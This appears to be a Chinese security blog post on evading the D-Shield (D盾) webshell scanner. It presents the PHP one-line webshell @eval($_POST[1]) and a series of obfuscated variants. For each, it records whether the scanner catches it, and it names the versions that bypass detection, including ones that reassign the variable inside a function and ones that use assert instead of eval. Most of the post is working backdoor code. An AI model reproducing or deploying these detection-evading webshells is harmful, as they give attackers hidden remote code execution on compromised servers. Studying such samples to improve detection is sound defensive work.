本文最后更新于:2019 , 八月 19日 星期一, 8:31 晚上

Code

一个早期的webshell一句话,早就被查杀

<?php
    @eval($_POST[1]);
?>
  • 进行混淆测试

    // 第一次
    @''.eval(''.$_POST[1]); // 被杀

    // 第二次
    function nice($nice){
        $a = eval($nice);
        return $a;
    }
    @nice($_POST[1]);  // 被杀

    // 第三次
    function nice($p){
        eval(''.$p);
    }
    $p = "$_POST[1]";
    nice($p); // 被杀

  • 总结

经过了以上的两次测试,你可以发现

第一次,它检测了eval函数并读取了里面的类容

第二次,使用了方法并利用传参+return 返回,D盾显示eval后门 $nice{未知内容} 可疑eval

第三次,只使用方法+传参的方法,并把参数用变量传递,显示eval后门 函数内的内容无法识别

可以看到D盾是针对eval()函数和方法外部的变量带入进行检测的,对函数内容的检测

绕过

  • 在方法中对变量重复赋值:被杀

    function nice($p){
        $p = "$_POST[2]";
        eval(''.$p);
    }
    $p = "$_POST[1]";
    nice($p);

  • 对方法中变量进行多次赋值:绕过

    function nice($p){
        $a = $p;
        eval(''.$a);
    }
    $p = "$_POST[1]";
    nice($p);

  • 在此基础上,你还可以把eval函数替换成assert函数:绕过

    function nice($p){
        $a = $p;
        assert(''.$a);
    }
    $p = "$_POST[1]";
    nice($p);

当然你也可以使用其他的方式,对其进行fuzz,本人的表达能力不太好,各位大佬将就看看


Web      webshell

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

PHP传值方式绕过D盾
Dz x3.4逻辑漏洞复现